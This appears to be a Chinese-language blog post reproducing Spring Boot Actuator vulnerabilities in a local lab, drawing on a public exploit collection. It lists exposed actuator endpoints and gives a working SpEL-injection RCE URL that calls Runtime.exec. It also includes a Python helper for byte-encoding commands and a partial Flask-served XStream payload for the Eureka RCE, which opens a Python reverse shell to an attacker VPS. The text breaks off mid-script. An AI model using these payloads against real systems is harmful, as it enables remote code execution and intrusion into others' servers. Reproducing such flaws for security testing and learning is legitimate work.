Spring Boot Actuator 未授权访问漏洞在日常的测试中还是能碰到一些的,这种未授权在某些情况下是可以达到RCE的效果的,所以还有有一定价值的,下面就是对这一系列漏洞复现。
基本上就是参考这篇文章的做的复现:
LandGrey/SpringBootVulExploit: SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 check list (github.com)
Spring Boot Actuator端点通过 JMX 和HTTP 公开暴露给外界访问,大多数时候我们使用基于HTTP的Actuator端点,因为它们很容易通过浏览器、CURL命令、shell脚本等方式访问。
一些有用的执行器端点是:
Spring Boot Actuator未授权访问
/dump - 显示线程转储(包括堆栈跟踪)
/autoconfig - 显示自动配置报告
/configprops - 显示配置属性
/trace - 显示最后几条HTTP消息(可能包含会话标识符)
/logfile - 输出日志文件的内容
/shutdown - 关闭应用程序
/info - 显示应用信息
/metrics - 显示当前应用的’指标’信息
/health - 显示应用程序的健康指标
/beans - 显示Spring Beans的完整列表
/mappings - 显示所有MVC控制器映射
/env - 提供对配置环境的访问
/restart - 重新启动应用程序
/
,2.x 版本则统一以 /actuator
为起始路径/env
有时候也会被程序员修改,比如修改成 /appenv
spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper
类中
此时 URL 中的参数值会用 parseStringValue
方法进行递归解析
其中 ${}
包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration
类的 resolvePlaceholder
方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞
比如发现访问 /article
,页面会报状态码为 500 的错误: Whitelabel Error Page
输入 /article?id=${7*7}
,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。
由字符串格式转换成 0x**
java 字节形式,方便执行任意代码:
# author: Zeo
# python: 3.7
# software: PyCharm
"""
文件说明:转换字节码
"""
# coding: utf-8
result = ""
target = 'open -a Calculator'
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))
正常访问:
http://127.0.0.1:9091/article?id=66
执行 open -a Calculator
命令:
http://127.0.0.1:8080/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce
/env
接口设置属性/refresh
接口刷新配置(存在 spring-boot-starter-actuator
依赖)eureka-client
< 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client
依赖中)repository/springboot-eureka-xstream-rce
http://127.0.0.1:9093/env
运行恶意脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号
#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/', methods=['GET', 'POST'])
def catch_all(path):
xml = """
/bin/bash
-c
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("VPSIP",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
false
java.lang.ProcessBuilder
start
foo